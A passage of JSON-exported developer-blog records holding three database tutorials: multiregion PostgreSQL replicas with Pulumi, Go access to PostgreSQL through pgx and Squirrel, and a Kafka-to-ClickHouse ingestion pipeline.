Kubernetes](https://aiven.io/docs/tools/kubernetes)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:04:40.120Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2022-09-13T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"There's more than one way to use Aiven. Read on to learn how to use the Aiven command line tool to do common tasks.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-00cad237865c7c38adb32faff427482dfdd42e61-3133x1688-png","_type":"reference"}},"metaTitle":"Get things done with the Aiven CLI"},"slug":{"_type":"slug","current":"/developer/aiven-cmdline"},"subtitle":"There's more than one way to use Aiven. Read on to learn how to use the Aiven command line tool to do common tasks.","tags":[{"_key":"2173b2e5d471","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"a3b733fba6a6","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Get things done with the Aiven CLI"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T07:16:42Z","_id":"467b0665-d0cd-4306-bbcc-344da4b3c6bb","_rev":"YaKEzcVhnb7P0fmfvFjtRM","_type":"devArticle","_updatedAt":"2024-08-02T10:02:54Z","body":"This tutorial uses Python and Pulumi to stand up a multiregion managed PostgreSQL® service on Aiven. I default to using GCP as the underlying cloud provider, but this can be easily changed. \n\nYou could even use multiple public clouds with N number read replicas by changing a couple of variables in Pulumi. Let’s begin!\n#### Requirements\nThe following must be installed on your local computer before you can follow along with this tutorial:\n- Python 3.7+\n- Pulumi 2.16+\n- Register for accounts with Pulumi \u0026 Aiven\n\n#### Time and cost estimate\nYou'll need no more than 15 minutes for this. \n\nThe costs to temporarily run this tutorial should be negligible or zero.\n\nYou need:\n\n- Free Pulumi trial account \n- Free credits for new Aiven users (less than $1/hr for existing customers)\n\n## Why multiregion PostgreSQL?\nUsing Aiven, you can accelerate application development on open source data infrastructure and quickly deploy to public clouds (including AWS, GCP, and Azure). \n\nDatabase read replicas help improve the performance and scale of read-intensive workloads. These workloads can be isolated to the replicas, while write workloads can be directed to the primary. This is good for analytical workloads, such as interactive dashboards that can use a read replica as the data source for reporting. Please note that data is replicated asynchronously, so there could be a delay when copying it to the replica. \n\nYou can also create a read replica in a different region from your primary server: this is called  cross-region replication. It can be helpful for scenarios like disaster recovery. For example, in the event that the primary server fails (or becomes unreachable), one of the read replicas can be promoted to replace it.\n\nAiven makes it trivial to use multiple public cloud providers to mitigate the risk of downtime even further. On our platform, you will not pay any network charges for synchronizing data between clouds, which is an important concern for read replica scenarios that leverage multiple public cloud providers. This matters more than you might think, as these transit costs can add up quickly!\n## Why Pulumi?\n[Pulumi](https://www.pulumi.com/) enables you to create, deploy, and manage infrastructure on any cloud using your favorite programming languages such as TypeScript, Go, C# or, in this case, Python. Simply, import the appropriate Pulumi libraries for your language and cloud to begin defining infrastructure as code.\n\n## Set up the environment\nYour first step is to install Python. Follow the [directions on this page](https://www.pulumi.com/docs/get-started/aws/begin/) to install Python on your local system.\n\nNext, get the Aiven examples by cloning this [repo](https://github.com/aiven/aiven-examples) to your local machine.\n\nCreate the Python virtual environment and install the required dependencies:\n\n```bash\n$ cd aiven-examples/pulumi/postgres_read_replicas\n$ python3 -m venv venv\n$ source venv/bin/activate\n$ pip install -r requirements.txt\n```\n\n### Set your Aiven API token using the Pulumi CLI:\n\n```bash\n$ pulumi config set aiven:apiToken XXXXXXXXXXXXXXXXXXXX --secret\n```\n\nNote that you can [generate an API Token](https://console.aiven.io/profile/auth) on your profile page.\n\n### Configure the project settings for Pulumi:\n\n```bash\n$ pulumi config set aiven_project sa-demo\n$ pulumi config set plan_size startup-4\n$ pulumi config set pg_version 12\n```\n\nNote that I am using a project named ‘sa-demo’ and I want PostgreSQL v12.x instances.\n\n![pulumi1](//cdn.sanity.io/images/sczeoy4w/production/20b3e1137ac4b983795e78595c74f25c555ca027-624x156.png \"The sa-demo project in the Aiven Console\")\n\nSet your preferred cloud regions and number of replicas, as well as instance names in the `__main__.py` file:\n\n```python\n# Edit instance names, regions and # of read replicas as needed\nprimary = {'name': \"pulumi-pg-master\", 'region': \"google-us-east1\"}\nreplicas = [\n\t{'name': \"pulumi-pg-replica1\", 'region': \"google-us-west1\"},\n\t{'name': \"pulumi-pg-replica2\", 'region': \"google-europe-west1\"}\n]\n```\n\nThis will create a primary PG instance in the GCP us-east1 region, with a total of two read replicas (us-west1 and europe-west1).\n\n*Supported regions/clouds for each service are listed on the [pricing page]( https://aiven.io/pricing). To create a 3rd read replica, add it to the `replicas` list.\n*\n\n### Use Pulumi to deploy the service with Aiven\n\nNow we are ready to spin up our source on Aiven. Run the following in your terminal:\n```bash\n$ pulumi up\n```\n\nSelect **Yes** to confirm the deployment.\nAfter about 5 minutes or so, you should see that all of the resources have been created. The URLs and username/password combinations listed are needed to access the services. The `influxdb_uri` shown here is also added as an environment variable in the Lambda function, so that the Python client can connect to InfluxDB. \n### Aiven console\nTo see the new services, log into the Aiven [console](https://console.aiven.io/) and verify that our three newly created resources are displayed:\n\n![pulumi2](//cdn.sanity.io/images/sczeoy4w/production/591f11521f9fe4121d26f489263cb5f5bfe7e256-624x180.png \"The new resources shown in the Aiven Console\")\n\n### Test\nNow we can load some data. Issue the following commands to run and test:\n```bash\nexport postgres_master_uri=$(pulumi stack output pulumi-pg-master_uri --show-secrets)\nexport postgres_replica_uri=$(pulumi stack output pulumi-pg-replica1_uri --show-secrets)\npython3 run.py\n```\n\nThe commands above do two things:\nFirst we export the connection strings for our primary database and the first read replica (which are automatically assigned at deployment time) to local environmental variables using the `pulumi stack output` command. \nThen we can run a Python script which will load 1000 fake ecommerce orders into the primary instance. Then it will read the row counts from both the primary and read replica, to demonstrate that both databases contain the same number of records.\n\n## Clean up\nLet’s tidy up and tear down our resources to save on costs (we can always deploy this again later).\n```bash\n$ deactivate\n$ pulumi destroy\n$ pulumi stack rm \u003cmy-stack-name-here\u003e\n```\n## Python code details\n### Create Aiven infrastructure using Pulumi\nAll of the Pulumi specific code resides in __main__.py.The key to provisioning infrastructure on Aiven using Pulumi is to include the two Python libraries below:\n```python\nimport pulumi\nimport pulumi_aiven as aiven\n```\nOnce you have done that, you can create a Postgres service by utilizing the `Pg` method with the associated parameters like this:\n```python\navn = aiven.Pg(instance_info['name'],\n               \tproject=conf.require('aiven_project'),\n               \tcloud_name=instance_info['region'],\n               \tservice_name=instance_info['name'],\n               \tplan=conf.require('plan_size'),\n               \tpg_user_config=user_config_args,\n               \tservice_integrations=integrations\n               \t)\n```\n\nI have chosen to leverage a Pulumi `Config` to preclude having to hardcode settings.\n\nTo create the read replicas, we have to create a service integration by specifying the `read_replica` integration type and providing the name of the primary database instance.\n```python\n# Specify the read replica service integration\naiven.ServiceServiceIntegrationArgs(\n    \tintegration_type=\"read_replica\",\n    \tsource_service_name=instance.service_name\n\t)\n```\n### Generating test data using Python\nMock data is generated using the [Faker](https://faker.readthedocs.io/en/master/) package. The `main.py` program contains just two functions: one to insert some fake data into the master instance and the other to read the row count (on both the primary and a read replica). The `generate_data` routine also creates a table for us in the event that it does not exist. Check the file called `schema.sql` for details.\n\n```python\nif __name__ == \"__main__\":\n\tgenerate_data(\"postgres_master_uri\")\n\tget_row_count(\"postgres_master_uri\")\nget_row_count(\"postgres_replica_uri\")\n```\nI connect to our instance using the popular [Psycopg](https://pypi.org/project/psycopg2/) database adapter. This is a standard pattern for making database connections in Python. The only thing that I have to do differently is read the connection string from the environment variables that we previously set.  \n```python\nconn_string = os.getenv(service_uri)\nconn = pg_connect(conn_string)\ncursor = conn.cursor()\ncursor.execute('select count(*) from fake_orders;')\ncount = cursor.fetchone()[0]\ncursor.close()\nprint(f'Current row count in {service_uri}: {count}')\n```\n\nHere is the output displaying the row counts in both the primary and the first read replica:\n\n![pulumi3](//cdn.sanity.io/images/sczeoy4w/production/51e50c9849e1de8dd3b6c8681ce959b58254da11-624x391.png \"Output with row counts\")\n\n## Wrapping up\nPulumi is a great option to provision cloud resources using the language of your choice. And Aiven makes it trivial to deploy Postgres instances in your preferred cloud and region. When you put these together, you have a powerful combination.\n\nThis same approach can be utilized for any [Aiven](https://aiven.io/platform) services, including [Aiven for Apache Kafka®](https://aiven.io/kafka) and [Aiven for MySQL®](https://aiven.io/mysql).\n\n\u003c!-- You are also invited to the webinar [Multicloud OSS database deployments with Zero downtime - Pulumi and Aiven](https://www.bigmarker.com/pulumi/Multicloud-OSS-database-deployments-with-Zero-downtime-Pulumi-and-Aiven \"https://www.bigmarker.com/pulumi/Multicloud-OSS-database-deployments-with-Zero-downtime-Pulumi-and-Aiven\") on 21 March 2021. --\u003e\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL®](https://aiven.io/postgresql \"Aiven for PostgreSQL\") or [Aiven for Apache Kafka®](https://aiven.io/kafka \"Aiven for Apache Kafka\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Analyzing Netflix shows with pgAdmin and PostgreSQL](https://aiven.io/blog/analysing-netflix-shows-with-pgadmin-and-postgresql)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:16:38.542Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2021-02-17T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Improve PostgreSQL performance by setting up a multiregion service: isolate read-intensive workloads to replicas. Trevor explains how, using Aiven and Pulumi.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a0564a2b1177fcb91e82b68dde329d69135a1050-1200x628-jpg","_type":"reference"}},"metaTitle":"How to stand up multiregion PostgreSQL® with Pulumi"},"slug":{"_type":"slug","current":"/developer/how-to-stand-up-multiregion-postgresql-with-pulumi"},"subtitle":"Improve PostgreSQL® performance by setting up a multiregion service: isolate read-intensive workloads to replicas. Trevor explains how, using Aiven and Pulumi.","tags":[{"_key":"a5f5c90e96ae","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"cba7830e4fd9","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"cdbd9684791e","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"How to stand up multiregion PostgreSQL® with Pulumi"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T07:47:28Z","_id":"930cb161-7c4a-4af0-84fb-88793e123e98","_rev":"Gc7Qq2PHZBylrD6rwNGL9J","_type":"devArticle","_updatedAt":"2024-08-02T10:00:54Z","body":"The libraries I picked for this post are [pgx](https://github.com/jackc/pgx) which is a nice PostgreSQL-specific alternative to `database/sql` and [Squirrel](https://github.com/Masterminds/squirrel) because I love the name (it also has some quite cool features).\n\n## Start with a database\n\nIt would make sense to already have a [PostgreSQL®](https://aiven.io/postgresql \"Aiven for PostgreSQL\") database handy, ideally with some data in it. If you don't already have an Aiven account, then [sign up](https://console.aiven.io/signup) and start a PostgreSQL service. If you already have some data to use, great! I'm using some open data from the Kepler space mission, you can follow along with the [Discover exoplanets with PostgreSQL® sample data](https://aiven.io/blog/discover-exoplanets-with-postgresql) blog post to set this up yourself.\n\nIn the Aiven Console, copy the connection string for Postgres - or if you are using a different database, copy the `postgres://....` connection string.\n\n## Connecting to PostgreSQL from Go\n\nGo has built-in database support in its `database/sql` library, but it's quite generic since it has to be able to cope with so many different database platforms. For applications that are specifically connecting to PostgreSQL, it make sense to use a specialist library.\n\nFor this example I chose `jackc/pgx` which is PostgreSQL-specific and has some nice features around understanding PostgreSQL data types in addition to improved performance. The overall pattern isn't radically different from other applications using `database/sql`, which makes it feel quite familiar.\n\nSet the connection string you copied earlier as the `DATABASE_URL` environment variable. Then initialise your go application with `go mod init pgfun`; `pgx` uses go modules.\n\nWhen you have everything set up, try the code example below to connect to a database and run one query (my database has the exoplanets data in it):\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/jackc/pgx/v4/pgxpool\"\n)\n\nfunc main() {\n\tdbpool, dberr := pgxpool.Connect(context.Background(), os.Getenv(\"DATABASE_URL\"))\n\tif dberr != nil {\n\t\tpanic(\"Unable to connect to database\")\n\t}\n\tdefer dbpool.Close()\n\n\tsql := \"SELECT kepler_name, koi_score \" +\n        \"FROM cumulative \" +\n        \"WHERE kepler_name IS NOT NULL AND koi_pdisposition = 'CANDIDATE' \" +\n        \"ORDER BY koi_score LIMIT 5\"\n\trows, sqlerr := dbpool.Query(context.Background(), sql)\n\tif sqlerr != nil {\n\t\tpanic(fmt.Sprintf(\"QueryRow failed: %v\", sqlerr))\n\t}\n\n\tfor rows.Next() {\n\t\tvar planet_name string\n\t\tvar score float64\n\t\trows.Scan(\u0026planet_name, \u0026score)\n\t\tfmt.Printf(\"%s\\t%.2f\\n\", planet_name, score)\n\t}\n}\n```\n\nIn the `main()` function, first the code connects to the database using the [connection pool](https://aiven.io/docs/products/postgresql/concepts/pg-connection-pooling) features of `pgx`. As a general rule I consider that pooling connections for PostgreSQL is a wise move which is why it's used here.\n\nThen a simple SQL statement that shows the exoplanets that the Kepler mission assigned a \"CANDIDATE\" status, and how confident they were that it was a real planet. The statement has a row limit (the dataset has ~2k rows without the limit) so you only see the five lowest-confidence-scoring planets in the final section that iterates over the rows and reads the data in as variables.\n\nI love that the names are here - if you're interested you can even look up the planets in the [Exoplanet Catalog](https://exoplanets.nasa.gov/discovery/exoplanet-catalog/?). I spent way too much time browsing that, science is ace!\n\nSo to recap, we have one PostgreSQL connection string, one Go database library and a hardcoded SQL query. What's next?\n\n## Fluid Interfaces with Squirrel\n\nWhile the `pgx` library is a PostgreSQL-specific alternative to `database/sql`, it also has a compatible interface. This is ideal if you want to switch an existing application over, but it also means that other tools designed to play nicely with `database/sql` can work with `pgx` too. That's good news for me because I want to find something more elegant than my hardcoded SQL string.\n\nSquirrel!\n\nNo, I didn't get distracted, it's an SQL library. Although, it is a bit of a shiny toy. It's a fluid interface for building SQL queries, and SQL lends itself well to being thought about in this way.\n\nRebuilding our existing SQL query in this interface produces something like this:\n\n```go\n\tplanets := psql.Select(\"kepler_name\", \"koi_score\").\n\t\tFrom(\"cumulative\").\n\t\tWhere(sq.NotEq{\"kepler_name\": nil}).\n\t\tWhere(sq.Eq{\"koi_pdisposition\": \"CANDIDATE\"}).\n\t\tOrderBy(\"koi_score\").\n\t\tLimit(5)\n```\n\nIt's a bit more manageable and I can imagine building this in a real application much more easily than concatenating bits of SQL string together. It's still possible to inspect the SQL that it built as a string by calling `planets.ToSql()`, which is a nice touch.\n\nSwitching `pgx` over to the \"pretend to be `database/sql`\" mode needed a little refactoring. I also need a spoonful of secret sauce to make Squirrel play nicely with PostgreSQL, so here's the whole runnable example at once. It expects the database connection string to be in `DATABASE_URL` as for the previous example:\n\n```go\npackage main\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"os\"\n\n\tsq \"github.com/Masterminds/squirrel\"\n\t_ \"github.com/jackc/pgx/v4/stdlib\"\n)\n\nfunc main() {\n\tdb, err := sql.Open(\"pgx\", os.Getenv(\"DATABASE_URL\"))\n\tif err != nil {\n\t\tpanic(\"Unable to connect to database\")\n\t}\n\tdefer db.Close()\n\n    // a little magic to tell squirrel it's postgres\n\tpsql := sq.StatementBuilder.PlaceholderFormat(sq.Dollar)\n\n\tplanets := psql.Select(\"kepler_name\", \"koi_score\").\n\t\tFrom(\"cumulative\").\n\t\tWhere(sq.NotEq{\"kepler_name\": nil}).\n\t\tWhere(sq.Eq{\"koi_pdisposition\": \"CANDIDATE\"}).\n\t\tOrderBy(\"koi_score\").\n\t\tLimit(5)\n\n\trows, sqlerr := planets.RunWith(db).Query()\n\tif sqlerr != nil {\n\t\tpanic(fmt.Sprintf(\"QueryRow failed: %v\", sqlerr))\n\t}\n\n\tfor rows.Next() {\n\t\tvar planet_name string\n\t\tvar score float64\n\t\trows.Scan(\u0026planet_name, \u0026score)\n\t\tfmt.Printf(\"%s\\t%.2f\\n\", planet_name, score)\n\t}\n}\n```\n\nNote that the `pgx` import is different this time to get the `database/sql` compatible library that Squirrel expects in its `RunWith()` method. The connection step changes a little as well so don't try to amend the previous example; this one is different.\n\nThe `psql` variable holds a reconfigured squirrel which is needed because PostgreSQL handles placeholders slightly differently. Skipping this causes the code to tell you there is a syntax error near the `LIMIT` clause. Hopefully now I've written this down my valued readers can avoid this problem, and I may even remember this next time too!\n\n## Fun with Go and PostgreSQL\n\nThis was a lightweight introduction to show you a couple of my favourite libraries for Go and PostgreSQL applications - and of course with an open data set to play with, the fun is multiplied :)\n\nHere are some related links and further reading, reach out to us on [Twitter](https://twitter.com/aiven_io) if you have questions. We are always pleased to chat.\n\n* [Find out more about Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\")\n* [Getting started with Aiven for PostgreSQL](https://aiven.io/docs/products/postgresql/get-started)\n* [Discover exoplanets with PostgreSQL](https://aiven.io/blog/discover-exoplanets-with-postgresql)\n* [Code examples for Aiven connections](https://github.com/aiven/aiven-examples)\n* [Analyzing Netflix shows with pgAdmin and PostgreSQL](https://aiven.io/blog/analysing-netflix-shows-with-pgadmin-and-postgresql)\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup)!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:47:25.687Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2021-02-26T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Applications and databases go together like milk and cookies; on the menu today, a PostgreSQL cookie with a splash of refreshing Go milk. Bon appetit!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f7d62ddab91bc9a0d6ea92dbd9769e91cc3eaf48-1200x628-jpg","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® for your Go application"},"slug":{"_type":"slug","current":"/developer/aiven-for-postgresql-for-your-go-application"},"subtitle":"Applications and databases go together like milk and cookies; on the menu today, a PostgreSQL® cookie with a splash of refreshing Go milk. Bon appetit!","tags":[{"_key":"1a43aaa3b1e3","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"ad0f43f5faf5","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"225327634c9a","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Aiven for PostgreSQL® for your Go application"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T08:02:52Z","_id":"28fdc694-77e0-4f97-9cfa-a31210ccf841","_rev":"7TSbNTeKBQNzcdaFtKQVjE","_type":"devArticle","_updatedAt":"2024-07-17T08:22:18Z","body":"Apache Kafka® and ClickHouse® are quite different, but also have a lot in common. They are both open source, highly scalable, work best with immutable data and allow us to process big loads of data, but they do all of this in quite different ways. That’s why instead of competing, these technologies actually complement each other quite well.\n\nApache Kafka is amazing at handling real-time data feeds. However, in certain cases we need to come back to older records to analyse and process data at later times. This is challenging because Apache Kafka, a streaming platform, is not optimised to access large chunks of data and act as an OLAP (online analytical processing) engine.\n\nClickHouse, on the other hand, is a scalable and reliable storage solution designed to handle petabytes of data and, at the same time, a powerful tool for fast online analytical processing, used by many companies for their data analytics.\n\nBy combining both technologies we get a performant data warehouse in ClickHouse, that stays up-to-date by constantly getting fresh data from Apache Kafka.\n\nYou can think of Apache Kafka topics as rivers where real-time data flows. ClickHouse, on the other hand, is the sea where all data eventually goes.\n\nWith that, time to roll up our sleeves and try integrating these two data solutions in practice. Below step by step we'll create the services, integrate them and run some query experiments.\n\n## Create services\n\nTo simplify the setup we'll be using managed versions of Apache Kafka and ClickHouse, both run by Aiven. If you don't have an Aiven account yet, no worries, [registration](https://console.aiven.io/signup) is just a step away, and you can use a free trial for this experiment.\n\nYou can create Aiven for ClickHouse and Aiven for Apache Kafka services directly from [Aiven's console](https://console.aiven.io/). In the examples below I'm using `apache-kafka-service` and `clickhouse-service` as names for these services, but you can be more creative ;) \n\nNote, that Aiven for ClickHouse needs at least a startup plan to allow adding integrations.\n\nOnce you've created the services, wait until they are completely deployed and are in `RUNNING` state. Now you're ready for action! \n\n## Prepare Apache Kafka\n\nIn order to move data from Apache Kafka to ClickHouse we need to have some data in Apache Kafka in the first place. So we start by creating a topic in Apache Kafka. You can do it [directly from the Aiven console](https://aiven.io/docs/products/kafka/howto/create-topic). Name it `measurements`. Here we'll send continuous measurements for our imaginary set of devices.\n\nTo imitate a continuous flow of new data we'll use a short bash script. In this script we create a JSON object with three properties: the timestamp of the event, the id of the device and a value. Then we send this object into the topic `measurements` using `kcat`. To understand how to set up `kcat`, [check this article](https://aiven.io/docs/products/kafka/howto/kcat).\n\n```bash\n#!/bin/bash\n\nwhile :\ndo\n    stamp=$(date +%s)\n    id=$((RANDOM%100))\n    val=$((RANDOM%1000))\n    echo \"{\\\"timestamp\\\":$stamp,\\\"device_id\\\":$id,\\\"value\\\":$val}\" \\\n        | kcat -F kcat.config -P -t measurements\ndone\n```\n\nStart the script and leave it running, it'll be continuously creating and sending messages to the topic.\n\nOur work on the Apache Kafka side is done. Now let's move to ClickHouse.\n\n## Connect Aiven for ClickHouse to Apache Kafka \n\nYou can actually integrate your Aiven for ClickHouse service with any Apache Kafka service, but for us, having two services within the same Aiven project makes the integration straightforward.\n\nTo integrate Aiven for ClickHouse with Apache Kafka we need to do two steps:\n1. Establish a connection.\n2. Specify the structure and origin of the integrated data. \n\nWe'll do these steps with help from the [Aiven CLI](https://aiven.io/docs/tools/cli).\n\nFirst, establish the connection by creating an integration of type `clickhouse_kafka` and specifying the name of your services, Apache Kafka as source and ClickHouse as destination: \n\n```\navn service integration-create            \\\n    --integration-type clickhouse_kafka   \\\n    --source-service apache-kafka-service \\\n    --dest-service clickhouse-service\n```\n\nRunning this command won't return you anything (unless there is a problem). But if you now check the list of available databases in your Aiven for ClickHouse service (with the help of [Aiven's console](https://console.aiven.io/), for example), you'll notice a new one - `service_apache-kafka-service`. The name of the created database is the combination of  `service_` and your Apache Kafka service name.\n\nThe database is still empty, because we didn't specify yet what kind of data we want to bring from our Apache Kafka service. We can define the datasource in a JSON payload, but first we need to find the id of our integration. You can get it by running this command:\n\n```\navn service integration-list clickhouse-service | grep apache-kafka-service\n```\n\n\u003c!-- github image\n![avn service integration-list terminal output](integration-with-kafka/get-integration-id.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![`avn service integration-list` terminal output](//cdn.sanity.io/images/sczeoy4w/production/d8afc96704b04356131e676474a66d1969a2f41b-1704x130.png)\n\nIn my case, the integration id was `88546a37-5a8a-4c0c-8bd7-80960e3adab0`. Yours will be a different [UUID](https://en.wikipedia.org/wiki/Universally_unique_identifier).\n\nKnowing the integration id we can set the proper configuration for our connection where we specify that:\n* we want to bring data from the topic named `measurements`\n* we expect the data to be in JSON format (in particular, `JSONEachRow`)\n* the data will be transformed into a table with three columns: `timestamp`, `device_id` and `value`:\n\n```bash\n    avn service integration-update 88546a37-5a8a-4c0c-8bd7-80960e3adab0 \\\n      --user-config-json '{\n          \"tables\": [\n              {\n                  \"name\": \"measurements_from_kafka\",\n                  \"columns\": [\n                      {\"name\": \"timestamp\", \"type\": \"DateTime\"},\n                      {\"name\": \"device_id\", \"type\": \"Int8\"},\n                      {\"name\": \"value\", \"type\": \"Int16\"}\n                  ],\n                  \"topics\": [{\"name\": \"measurements\"}],\n                  \"data_format\": \"JSONEachRow\",\n                  \"group_name\": \"measurements_from_kafka_consumer\"\n              }\n          ]\n      }'\n```\n\nClickHouse will track what messages from the topic are consumed using the consumer group that you specify in the `group_name` field, no extra effort needed on your side. By default, you'll read each entry once. If you want to get your data twice, you can create a copy of the table with another group name.\n\n## Consume Kafka messages on the fly from Clickhouse\n\nThe setup we did is already sufficient to start reading data from the Apache Kafka topic from within ClickHouse.\nThe most convenient way to run ClickHouse SQL commands is by using **clickhouse-client**. If you're unsure how to run it, check [Connect to a ClickHouse® cluster with CLI](https://aiven.io/docs/products/clickhouse/howto/list-manage-cluster). \n\nI, for example, used docker and ran the client by using the command below. Just replace USERNAME, PASSWORD, HOST and PORT with your values.\n\n```shell\ndocker run -it \\\n    --rm clickhouse/clickhouse-client \\\n    --user USERNAME \\\n    --password PASSWORD \\\n    --host HOST \\\n    --port PORT \\\n    --secure\n```\n\nOnce in the client, you can check the list of databases\n\n```sql\nSHOW DATABASES\n```\n\n\u003c!-- github image\n![show databases terminal output](integration-with-kafka/show-databases.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![`show databases` terminal output](//cdn.sanity.io/images/sczeoy4w/production/4db3961fd96b5e2bb0abbe14ef19684d9e63772b-858x502.png)\n\nYou'll see the one we created by establishing the integration `service_apache-kafka-service` (maybe you named it differently!).\n\nIf you get the list of tables from this database, you'll see the name of the table that you specified in the integration settings.\n\n```sql\nSHOW TABLES FROM `service_apache-kafka-service`\n```\n\n\u003c!-- github image\n![show tables terminal output](integration-with-kafka/show-tables.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![`show tables` terminal output](//cdn.sanity.io/images/sczeoy4w/production/57498b816a584c04b083344abcf82082fcdcc7d6-866x269.png)\n\nYou can also double-check its structure with\n\n```sql\nDESCRIBE `service_apache-kafka-service`.measurements_from_kafka\n```\n\n\u003c!-- github image\n![describe tables terminal output](integration-with-kafka/describe.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![describe tables terminal output](//cdn.sanity.io/images/sczeoy4w/production/9e519c766d273ef40df06f3fb86f5165632a3445-1928x434.png)\n\nNow, you might want to read from this table directly, and it will work. However, remember that we can consume messages only once! So once you read the items, they will be gone. Still, nothing stops you from running the following commands:\n\n```sql\nSELECT * FROM `service_apache-kafka-service`.measurements_from_kafka LIMIT 100\n```\n\n```sql\nSELECT count(*) FROM `service_apache-kafka-service`.measurements_from_kafka\n```\n\n\u003c!-- github image\n![selecting items directly from the connecting table terminal output]\n(integration-with-kafka/select-direct.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![selecting items directly from the connecting table terminal output](//cdn.sanity.io/images/sczeoy4w/production/d9dfda0c13b811cbe392a804b2796350c2c8414e-1084x311.png)\n\nHowever, this is not the most convenient way of consuming the data from Apache Kafka, and apart from debugging won't be used much. Most probably you want to copy and keep the data items in ClickHouse for later. And this is exactly what we'll do in the next section.\n\n## Persist Kafka messages in Clickhouse table\n\nTo store the data coming from Apache Kafka to ClickHouse we need two pieces:\n1. A destination table, where all data will be stored permanently.\n2. A materialised view, that will be like a bridge between our connector table (`measurements_from_kafka`) and our destination table.\n\nYou can create them with these two queries:\n\n```sql\nCREATE TABLE device_measurements (timestamp DateTime, device_id Int8, value Int16)\nENGINE = ReplicatedMergeTree()\nORDER BY timestamp;\n```\n\n```sql\nCREATE MATERIALIZED VIEW materialised_view TO device_measurements AS\nSELECT * FROM `service_apache-kafka-service`.measurements_from_kafka;\n```\n\nWhen we create a materialised view, a trigger is actually added behind the scenes. This trigger will react to any new data items added to our table `measurements_from_kafka`. Once triggered, the data will go through the materialised view (where you also can transform it if you want) into the table `device_measurements`\n\nYou can check that the data is flowing by running:\n\n```sql\nSELECT COUNT(*) from device_measurements\n```\n\nWe can run a query to count all readings from the devices and see which devices have higher values on average. Here we use a nice and simple visualisation mechanism with the `bar` function.\n\n```sql\nSELECT\n    device_id,\n    count() as readings_number,\n    bar(avg(value), 0, 1000, 100) as average_measurement_value\nFROM device_measurements\nGROUP BY device_id\nORDER BY device_id ASC\n```\n\n\u003c!-- github image\n![visualising data with bar terminal output](integration-with-kafka/visualise-bar.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![visualising data with bar terminal output](//cdn.sanity.io/images/sczeoy4w/production/510274a24a9d839605dadb379f3fa793551dde67-2090x938.png)\n\n## Conclusion\n\nNow you are equipped with the skill to bring data into Aiven for ClickHouse and use materialised views to store the data. Here are some more materials you might be interested to read:\n\n- [What is ClickHouse and how it achieves high performance](https://aiven.io/blog/what-is-clickhouse) \n- [Getting started with Aiven for ClickHouse](https://aiven.io/docs/products/clickhouse/get-started)\n- Documentation on how to [integrate Aiven for ClickHouse with Apache Kafka](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka) (with some extra details that are omitted here)\n- Information on [other integrations available with Aiven for ClickHouse](https://aiven.io/docs/products/clickhouse/howto/list-integrations)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T08:02:48.980Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2022-09-20T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn how to perform analytics with fast response time over huge volumes of data without the need to downsample data.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d56a3a53d21e9d5e2722b17ba82949f21bf728c4-1567x844-png","_type":"reference"}},"metaTitle":"Connecting Apache Kafka® and Aiven for ClickHouse®"},"slug":{"_type":"slug","current":"/developer/connecting-kafka-and-clickhouse"},"subtitle":"Learn how to perform analytics with fast response time over huge volumes 